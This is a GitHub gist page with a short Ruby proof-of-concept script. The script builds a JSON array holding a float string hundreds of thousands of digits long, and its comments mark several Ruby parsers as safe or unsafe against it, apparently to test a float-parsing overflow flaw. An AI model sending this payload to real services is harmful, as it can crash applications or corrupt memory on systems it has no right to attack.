Skip to content

Instantly share code, notes, and snippets.

@vpereira
Forked from jacopen/exploit.rb
Created November 27, 2013 16:51
Show Gist options
  • Save vpereira/7679084 to your computer and use it in GitHub Desktop.
Save vpereira/7679084 to your computer and use it in GitHub Desktop.
require 'yajl'
require 'json'
require 'oj'
def digit_pattern
digit_pattern ||= rand(10000).to_s
end
def integer_part
digit_pattern
end
def multiplier
(500000 * (1.0/digit_pattern.size)).to_i
end
def fractional_part
digit_pattern * multiplier
end
def evil_float_string
[integer_part,fractional_part].join('.')
end
sploit = '['
sploit << evil_float_string
sploit << ']'
#evil_float_string.to_f #UNSAFE
#JSON.parse sploit #UNSAFE
#Yajl::Parser.parse sploit #SAFE
#Oj.load sploit #SAFE
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment